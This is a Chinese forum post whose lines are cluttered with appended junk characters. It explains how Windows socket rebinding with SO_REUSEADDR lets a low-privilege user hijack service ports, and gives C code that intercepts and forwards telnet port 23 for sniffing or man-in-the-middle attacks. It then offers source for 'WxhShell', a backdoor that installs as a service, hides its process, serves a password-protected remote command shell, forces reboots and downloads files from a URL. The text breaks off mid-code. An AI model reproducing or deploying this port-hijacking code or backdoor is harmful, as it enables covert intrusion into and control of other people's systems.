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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g \)+ LX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dl;~-'0  
p 2x OjS1  
  saddr.sin_family = AF_INET; Cj%SW <v|  
#P*%FgROl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dQ?4@  
#q`[(`Bx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9C}Ie$\  
'#$Y :/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C\Q3vG  
VTk6.5!8  
  这意味着什么?意味着可以进行如下的攻击: <J-bDcp  
Mf7Q+_!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;Q&38qI  
<GPL8D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~R/w~Kc!/A  
4O_z|K_k|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k%E9r'Ac  
@3KVYv,q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <q hNX$t  
E0[!jZ:c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ta"/R@ k*  
SY|r'8Z%Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'c5#M,G~  
\eF5* {9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %41dVnWB^4  
6l&m+!i  
  #include -q' np0H  
  #include DfwxPt#  
  #include (1H_V(  
  #include    L;/#D>U(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %F-/|x1#Q  
  int main() zy`4]w$Lj+  
  { fv$Y&_,5  
  WORD wVersionRequested; j b1OcI%  
  DWORD ret;  A]R7H1  
  WSADATA wsaData; _d6mf4M]5  
  BOOL val; -B :Z(]3#\  
  SOCKADDR_IN saddr; $l-|abLELz  
  SOCKADDR_IN scaddr; mE)65@3%  
  int err; %Q5D#d"p`  
  SOCKET s; !3U1HS-i62  
  SOCKET sc; 9XWF&6w6yf  
  int caddsize; Hn)K;?H4  
  HANDLE mt; c:I1XC  
  DWORD tid;    =<fH RX`  
  wVersionRequested = MAKEWORD( 2, 2 ); H6E@C}cyM  
  err = WSAStartup( wVersionRequested, &wsaData ); *}R5=r0  
  if ( err != 0 ) { lnL&v' {  
  printf("error!WSAStartup failed!\n"); hh}%Z=  
  return -1; vLn<=.  
  } HX\@Qws  
  saddr.sin_family = AF_INET; ;wND?:  
   3U<\y6/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0h!2--Aur  
zOYkkQE3mJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S+>&O3m  
  saddr.sin_port = htons(23); x&sT )=#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MK9?81xd  
  { MbLG8T:y  
  printf("error!socket failed!\n"); u_.V]Rjc  
  return -1;  84L!r  
  } r5Ej  
  val = TRUE; (y|{^@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @z"Zj 3ti  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g! ~&PT)*  
  { hY+3PNiI@  
  printf("error!setsockopt failed!\n"); &b,.W; +  
  return -1; Y<TlvB)w  
  } ONJW*!(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X@Eq5s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,{ CgOz+Ul  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VOwt2&mZ  
b0X*+q   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y2>v'%]2  
  { mXlXB#N  
  ret=GetLastError(); P]!$MOt  
  printf("error!bind failed!\n"); _Ptf^+  
  return -1; fI`T3Y!7  
  } 4LARqSmt  
  listen(s,2); ?15k~1nA  
  while(1) /b6Y~YbgU  
  { +5Ir=]=T9  
  caddsize = sizeof(scaddr); "F>-W \%  
  //接受连接请求 $t.N |b`'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ehCc N4V(  
  if(sc!=INVALID_SOCKET) F3jrJ+nJ  
  { nQK@Uy5Yr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WIOV  
  if(mt==NULL) hJ4==ILx  
  { 0uzis09  
  printf("Thread Creat Failed!\n"); gJi11^PK  
  break; =sRd5aMs  
  } qTC`[l  
  } E#Ynn6  
  CloseHandle(mt); i_g="^  
  } S$W *i@x?  
  closesocket(s); a1ZGMQq!  
  WSACleanup(); p`gg   
  return 0; Q nZR  
  }   ( f8g}2  
  DWORD WINAPI ClientThread(LPVOID lpParam) [ /*$?PXt  
  { ({D.oS  
  SOCKET ss = (SOCKET)lpParam; !Y=s_)X  
  SOCKET sc; o;FjpZ  
  unsigned char buf[4096]; +f\tqucI3  
  SOCKADDR_IN saddr; vq$%Ug/B  
  long num; \F,?ptu  
  DWORD val; e;x`C  
  DWORD ret; GW'=/ z7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &k\7fvF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z QoMHFL3  
  saddr.sin_family = AF_INET; +;#hED; 8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); . )Fn]x"<  
  saddr.sin_port = htons(23); H:U1#bQQ:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QC~B8]  
  { SynxMUlA  
  printf("error!socket failed!\n"); YV-2es+Bd  
  return -1; W#e:rz8=  
  } :*t v`:;p  
  val = 100; WP32t@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [#j|TBMHM  
  { ig; ~ T  
  ret = GetLastError(); ,!kyrk6  
  return -1; 6BW-AZc  
  } rd]HoFE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }n=Tw92g  
  { .)|jBC8|}  
  ret = GetLastError(); [HF)d#A  
  return -1; $>/J8iB  
  } y>2v 9;Qp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %'\D _W&  
  { pSQ3 SM  
  printf("error!socket connect failed!\n"); <WaiJy?  
  closesocket(sc); tRbZ^5x\@  
  closesocket(ss); #Vul#JHW  
  return -1; #` z!f0 P  
  } oLruYSaD  
  while(1) dp)lHBV  
  { ++,mM7a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZeWHSU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Uo^s]H#:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kKE 2~ q  
  num = recv(ss,buf,4096,0); G2a fHL<  
  if(num>0) Iay7Fkv  
  send(sc,buf,num,0); GD[~4G  
  else if(num==0) :KX/`   
  break; H=X>o.iVqi  
  num = recv(sc,buf,4096,0); zF)_t S  
  if(num>0) Btpx[T  
  send(ss,buf,num,0); q,u >`]}  
  else if(num==0) TM!R[-\  
  break; Vz 5:73  
  } m{%_5nW  
  closesocket(ss); 2:p2u1Q O  
  closesocket(sc); UeHS4cW  
  return 0 ; lBQ|=  
  } 8H;TPa  
DX$`\PA  
L8bq3Q'p  
========================================================== [FiXsYb.8  
q6j]j~JxB  
下边附上一个代码,,WXhSHELL y H+CyL\  
G#dpSNV3|  
========================================================== 5R"b1  
C dZ;ZR  
#include "stdafx.h" W:rzfO.`Z  
DT9i<kl  
#include <stdio.h> 0QC*Z (  
#include <string.h> r{%NMj  
#include <windows.h> &`>*3m(  
#include <winsock2.h> 2vWkAC;   
#include <winsvc.h> ` |]6<<'iW  
#include <urlmon.h> }=f}@JlFB  
<V6#)^Or  
#pragma comment (lib, "Ws2_32.lib") JH)&Ca>S  
#pragma comment (lib, "urlmon.lib") J8b]*2D  
E&&80[tN]  
#define MAX_USER   100 // 最大客户端连接数 $S,Uoh  
#define BUF_SOCK   200 // sock buffer 6_XX[.%  
#define KEY_BUFF   255 // 输入 buffer zZiB`%  
U4N S.`V  
#define REBOOT     0   // 重启 (O`=$e  
#define SHUTDOWN   1   // 关机 N_gjOE`x5  
(Nik( Oyj"  
#define DEF_PORT   5000 // 监听端口 40g&zU-  
'Y vW|Iq  
#define REG_LEN     16   // 注册表键长度 { @-Q1  
#define SVC_LEN     80   // NT服务名长度 ?: meix  
ww\/$ |  
// 从dll定义API k*!J,/=k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [dzb{M6_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;m`I}h<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }kOhwT8sI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); klch!m=d  
J2 5>t^  
// wxhshell配置信息 jzPC9  
struct WSCFG { vG\Wr.h0!=  
  int ws_port;         // 监听端口 gdT^QM:y4$  
  char ws_passstr[REG_LEN]; // 口令 yS3x))  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sl$dXB@  
  char ws_regname[REG_LEN]; // 注册表键名 pp{);  
  char ws_svcname[REG_LEN]; // 服务名 }`_2fJ6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "lz!'~im  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Lh0E/5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "(C }Dn#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e<C5}#wt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n[iil$VKh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5;|9bWH  
oO UVU}H  
}; rg'? ?rq  
Pc(2'r@#  
// default Wxhshell configuration Me`"@{r|#  
struct WSCFG wscfg={DEF_PORT, CZa9hsM  
    "xuhuanlingzhe", r?[mn^Bo5  
    1, tICxAp:  
    "Wxhshell", 6u.b?_u  
    "Wxhshell", d3{Zhn@  
            "WxhShell Service", R]V`t^1  
    "Wrsky Windows CmdShell Service", "QlCcH`g  
    "Please Input Your Password: ", u!@P,,NY  
  1, D8dTw{C  
  "http://www.wrsky.com/wxhshell.exe", ?%LD1 <ya  
  "Wxhshell.exe" {UUVN/$  
    }; C/cGr)|8%  
!t_,x=  
// 消息定义模块 3>jz3>v@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Maxnk3n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l+N?:E$5=%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =}q4ked /  
char *msg_ws_ext="\n\rExit."; f0[xMn0Tu  
char *msg_ws_end="\n\rQuit."; .(Pe1pe  
char *msg_ws_boot="\n\rReboot..."; sO  
char *msg_ws_poff="\n\rShutdown..."; 4p-$5Fk8}  
char *msg_ws_down="\n\rSave to "; -p;o e}|  
4]+ ^K`  
char *msg_ws_err="\n\rErr!"; 6F(yH4  
char *msg_ws_ok="\n\rOK!"; IIu3mXAw  
FVD}9ia  
char ExeFile[MAX_PATH]; 6?a(@<k_  
int nUser = 0; nQP0<_S  
HANDLE handles[MAX_USER]; ag+ML1#)  
int OsIsNt; N%_~cR;  
Y7jD:P  
SERVICE_STATUS       serviceStatus; siG?Sd_2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %fyb?6?Y  
C )I"yeS.  
// 函数声明 DQ9s57VxC!  
int Install(void); K8+b\k4E  
int Uninstall(void); ^y3\e  
int DownloadFile(char *sURL, SOCKET wsh); c]"B)I1L  
int Boot(int flag); -w2g a1  
void HideProc(void); Bdg*XfXXk  
int GetOsVer(void); M84LbgGM%  
int Wxhshell(SOCKET wsl); a-} %R  
void TalkWithClient(void *cs); 54;iLL  
int CmdShell(SOCKET sock); |knP  
int StartFromService(void); RXof$2CZS  
int StartWxhshell(LPSTR lpCmdLine); '~f@p~P  
cp2fDn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HdLkof2i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7]^ }  
ef. lM]cO  
// 数据结构和表定义 dyp] y$  
SERVICE_TABLE_ENTRY DispatchTable[] = mvL'l)  
{ feopO j6~+  
{wscfg.ws_svcname, NTServiceMain}, Ab"uN  
{NULL, NULL} 8qc %{8  
}; (o:Cxh V  
jK=*~I  
// 自我安装 oy`m:Xp  
int Install(void) g:6yvEu$ -  
{ ^&<*$Ai~  
  char svExeFile[MAX_PATH]; %1<p1u'r?#  
  HKEY key; lcP@5ZW  
  strcpy(svExeFile,ExeFile); ,C&>mv xA  
N1Z8I:  
// 如果是win9x系统,修改注册表设为自启动 \}Wkj~IX  
if(!OsIsNt) { '|/_='  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X or ,}. w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4l1=l#\S  
  RegCloseKey(key); u}rot+)%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =%u|8Ea*`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NY;UI (<]  
  RegCloseKey(key); q7]WR(e  
  return 0; ?% X9XH/!  
    } `%XgGHiE  
  } MU e 'xK  
} xh6x B|Z  
else { VoyH:  
?.A|Fy^  
// 如果是NT以上系统,安装为系统服务 pkU e|V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w@ 5/mf?  
if (schSCManager!=0) Hb+#*42v  
{ 8 (KfX%  
  SC_HANDLE schService = CreateService A{J1 n  
  ( C~;0A!@]Y  
  schSCManager, bsP ;  
  wscfg.ws_svcname, y;Zfz~z  
  wscfg.ws_svcdisp, mce`1Tjw  
  SERVICE_ALL_ACCESS, ^sOm7S{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fp6Y Y  
  SERVICE_AUTO_START, \O8f~zA{G  
  SERVICE_ERROR_NORMAL, m c+wRx  
  svExeFile, GufP[|7b-  
  NULL, bGi_", 8  
  NULL, !bcbzg2d&  
  NULL, bZ9NnSuH  
  NULL, F=om^6G%X5  
  NULL I:_*8el&d  
  ); {^kG<v.vV  
  if (schService!=0) QO7:iSZJ  
  { |Hm'.-   
  CloseServiceHandle(schService); ?iLd5 Z  
  CloseServiceHandle(schSCManager); ],YYFU}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u#M)i30j  
  strcat(svExeFile,wscfg.ws_svcname); /kA19E4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H/3Zdj 9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r^E]GDz  
  RegCloseKey(key); 4 ufLP DH  
  return 0; &o/4hnHYt  
    } (K6`nWk2  
  } w&"w"  
  CloseServiceHandle(schSCManager); =.X?LWKY  
} B#?2,  
} n2{{S(N  
~0-764%  
return 1; .lBY"W&{  
} mVK9NK  
v|I5Gz$qpa  
// 自我卸载 ~8m>DSs)D  
int Uninstall(void) KY`96~z  
{ xN m32~  
  HKEY key; l>UUaf|O  
(<3lo ZaX  
if(!OsIsNt) { lZM3Q58?\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dl6v <  
  RegDeleteValue(key,wscfg.ws_regname); @5jG  
  RegCloseKey(key); 8}{o2r@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MgQU6O<  
  RegDeleteValue(key,wscfg.ws_regname); "-n%874IT  
  RegCloseKey(key); =_=Z;#`cXk  
  return 0; b_jZL'en  
  } @7s,| \  
} &U~r}=  
} a9Fm Y`  
else { iEviH>b5  
pfZ,t<bE2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vif8 {S  
if (schSCManager!=0)  A<Z 5  
{  aoDD&JE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E^ok`wfO  
  if (schService!=0) 8RAeJ~e  
  { `f+8WPJPZ  
  if(DeleteService(schService)!=0) { d BMe`hM)  
  CloseServiceHandle(schService); = b<<5N s  
  CloseServiceHandle(schSCManager); N4H+_g|  
  return 0; Yc82vSG'  
  } WYC1rfd=  
  CloseServiceHandle(schService); @y(Wy}  
  } v"r9|m~'  
  CloseServiceHandle(schSCManager); 0R}Sw[M.  
} pTALhj#,  
} Ww96|m  
nheU~jb  
return 1; ZJ9Jf2 c  
} ,B%fjcn  
t\pK`DM-[  
// 从指定url下载文件 !p,hy `  
int DownloadFile(char *sURL, SOCKET wsh) So=nB} b[?  
{  oKYhE  
  HRESULT hr; aw/7Z`   
char seps[]= "/"; M7DLs;sD  
char *token; FGwnESCC  
char *file; :5S |x/  
char myURL[MAX_PATH]; 28R>>C=R  
char myFILE[MAX_PATH]; 'xbERu(Y  
A6N~UV*_  
strcpy(myURL,sURL); V(2,\+t  
  token=strtok(myURL,seps); +^*5${g;@H  
  while(token!=NULL) F@ $RV_M  
  { O<1vSav!K  
    file=token; ~zxwg+:QO  
  token=strtok(NULL,seps); ``$%L=_m  
  } M%&A.j[  
KR=d"t Qw  
GetCurrentDirectory(MAX_PATH,myFILE); 2]D$|M?$~  
strcat(myFILE, "\\"); /c@*eU  
strcat(myFILE, file); )[^y t0%  
  send(wsh,myFILE,strlen(myFILE),0); \- =^]]b=  
send(wsh,"...",3,0); sm;E2BR$ `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QtY hg$K3  
  if(hr==S_OK) b0YiQjS6>  
return 0; nuSN)}b<Q  
else %i$M/C"(  
return 1; -XVEV  
!ww:O|0  
} j/H>0^  
+YkW[a\4  
// 系统电源模块 i_=?eUq%q/  
int Boot(int flag) F#1 Kk#t  
{ 1l+kO,X]  
  HANDLE hToken; Z'Exw-ca  
  TOKEN_PRIVILEGES tkp; ACigeK^C}E  
d&|z=%9xl  
  if(OsIsNt) { v7;J%9=0D`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;%u_ ;,((  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tr8AG>  
    tkp.PrivilegeCount = 1; 2(m85/Hr\;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R CBf;$O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~h)@e\Kc  
if(flag==REBOOT) { 6?V<BgCC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]C16y. ~e  
  return 0; ;&Bna#~B  
} ]V36-%^  
else { R:'Ou:Mh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )MWUS;O<  
  return 0; A%Bgp?B  
} [1{SY=)  
  } qoC]#M$oo#  
  else { EBoGJ_l  
if(flag==REBOOT) { K(nS$x1G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C4QeDvpI  
  return 0; DX}B0B  
} 4\LZD{  
else { /&PKCtm&~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |[S90Gw]  
  return 0;  hv+|s(  
} 4q>7OB:e  
} (O\U /daB  
\  Md 3  
return 1; Fe!D%p Qv  
} ^WE4*.(  
+|y*}bG  
// win9x进程隐藏模块 |K L')&"  
void HideProc(void) XE_ir Et  
{ ?y ~TCqV  
I=K!)X$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NO-k-  
  if ( hKernel != NULL ) 10wvfRhng  
  { q7X}MAW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5Sr4-F+@%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V0K16#}1gM  
    FreeLibrary(hKernel); ! z11" c  
  } 7~_I=-  
+I t#Z3  
return; Qg(Z{V  
} (` 5FZgN  
1/B]TT  
// 获取操作系统版本 'E4AV58.  
int GetOsVer(void) Ntb:en!X  
{ pb!V|#u"  
  OSVERSIONINFO winfo; qgoJ4Z*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hd+]Ok7"  
  GetVersionEx(&winfo); l)4O .*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M!1U@6n!=)  
  return 1; j'K38@M:MN  
  else F{<5aLaYti  
  return 0; N]NF\7(  
} N XpmT4  
2 {bhA5L  
// 客户端句柄模块 bS.s?a  
int Wxhshell(SOCKET wsl) 33Jd!orXU  
{ JVtQ ,oZ  
  SOCKET wsh; =#qZ3 Qz_  
  struct sockaddr_in client; L!t@-5~  
  DWORD myID; ,CP 5~4u  
zh\p  
  while(nUser<MAX_USER) :0$a.8Y\++  
{ Wf#VA;d  
  int nSize=sizeof(client); _;56^1'T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ a?  
  if(wsh==INVALID_SOCKET) return 1; e}'gvm  
ohUdGO[/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :ygWNK[ 6D  
if(handles[nUser]==0) >ys[I0bo  
  closesocket(wsh); Dj i^+;"&  
else DAfyK?+UL  
  nUser++; ~9\$5n)a  
  } eG5Y+iL-V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z(j{F<\jS  
v2Bzx/F:  
  return 0; dBSbu=^$)  
}  v,=v  
Lxv6!?v|  
// 关闭 socket a5@z:i  
void CloseIt(SOCKET wsh) >nzu],U  
{ UiH!Dl}<  
closesocket(wsh); cvnB!$eji  
nUser--; ,R?np9wc  
ExitThread(0); $&{ti.l  
} nd ink$  
?+~cA^-3T  
// 客户端请求句柄 O~!T3APGU  
void TalkWithClient(void *cs) X&M4MuL  
{ {Z> M  
K=dR%c(  
  SOCKET wsh=(SOCKET)cs; `0ZZ/] !L  
  char pwd[SVC_LEN]; K*q[(,9  
  char cmd[KEY_BUFF]; .Da'pOe  
char chr[1]; Rx7X_A}  
int i,j; V8WFQdXc  
uI~s8{0T6  
  while (nUser < MAX_USER) { )[L^Dmd,  
0fm*`4Q  
if(wscfg.ws_passstr) { gn8 |/ev  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hoM|P8 }rh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k1^\|   
  //ZeroMemory(pwd,KEY_BUFF); LJFG0 W  
      i=0; Ej=3/RBsV  
  while(i<SVC_LEN) { -#In;~  
#*9-d/K  
  // 设置超时 W=JAq%yd<  
  fd_set FdRead; !8 -oR6/$%  
  struct timeval TimeOut; 4jNG^@O  
  FD_ZERO(&FdRead); =PkO!Mm8  
  FD_SET(wsh,&FdRead); POAw M  
  TimeOut.tv_sec=8; ht=P\E  
  TimeOut.tv_usec=0;  R'}95S<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~1 ~Xfo>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z(u5$<up  
c$:1:B9\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0nJE/JZ  
  pwd=chr[0]; iD`d99f8O  
  if(chr[0]==0xd || chr[0]==0xa) { l[Q:}y  
  pwd=0; 2 PqS%`XiS  
  break; :s={[KBP  
  } 1PH: \0}  
  i++; g7\,{Bw#E  
    } ?S Z1`.S  
5%zXAQD=<  
  // 如果是非法用户,关闭 socket Pq9|WV#F5/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yWDTjY/  
} jN31hDg<z  
urBc=3Rz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r H8@69,B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B9R(&<4  
^qGb%! l  
while(1) { %" D%:   
gF?[rqz{  
  ZeroMemory(cmd,KEY_BUFF); N8toxRu  
KLoE&ds  
      // 自动支持客户端 telnet标准   JyLa#\ R  
  j=0; O.G'?m<: #  
  while(j<KEY_BUFF) { O.`Jl%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k o;>#::  
  cmd[j]=chr[0]; =U8Ek;Drp  
  if(chr[0]==0xa || chr[0]==0xd) { );V2?G`/  
  cmd[j]=0; S! Rc|6y%  
  break; {-3LIO  
  } VhL{'w7f  
  j++; A4C+5R  
    } ({r*=wAP  
#LlUxHv #  
  // 下载文件 3_Cp%~Gi-_  
  if(strstr(cmd,"http://")) { !Ucjax~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fhPkEvJ  
  if(DownloadFile(cmd,wsh)) Sr?#wev]rn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qfY5Ww$8  
  else 9,uhf b^]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vj<:GRNQ,d  
  } e^p +1-B  
  else { N|N3x7=gs  
MP Z3D9  
    switch(cmd[0]) { v ^[39*8  
  F{06 _T  
  // 帮助 sUZX }  
  case '?': { [^CV>RuO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [.se|]t7X  
    break; Od+6 -J  
  } [x=jH>Y  
  // 安装 Kl7WQg,XOi  
  case 'i': { PyVC}dUAX  
    if(Install()) 8Jf.ECQT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9. 'h^#C  
    else [(X y.L7x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'c2W}$q  
    break; De7T s  
    } =4V&*go*\  
  // 卸载 ZkL8e  
  case 'r': { ]]7 mlQ  
    if(Uninstall()) O[tvR:Nh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f-DL:@crU  
    else P-F)%T[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3LDS Z1f  
    break; --;@2:lg{  
    } H]Hv;fcC  
  // 显示 wxhshell 所在路径 fjvN$NgVs  
  case 'p': { \(226^|j  
    char svExeFile[MAX_PATH]; 8fA_p}wp  
    strcpy(svExeFile,"\n\r"); mxor1P#|  
      strcat(svExeFile,ExeFile); x{D yTtX<  
        send(wsh,svExeFile,strlen(svExeFile),0); QaUm1 i#  
    break; +uay(3m((  
    } bvfk  
  // 重启 ^ ,m< 9  
  case 'b': { XE^)VLH:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  _zlqtO  
    if(Boot(REBOOT)) zvABU+{jD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA\/YW @  
    else { COH<Tj  
    closesocket(wsh); :0Z^uuk`gq  
    ExitThread(0); ?X@fKAj  
    } n]8<DX99Q0  
    break; ;iDPn2?6?x  
    } :#dE:L;T  
  // 关机 2,ECYie^  
  case 'd': { )`^p%k  
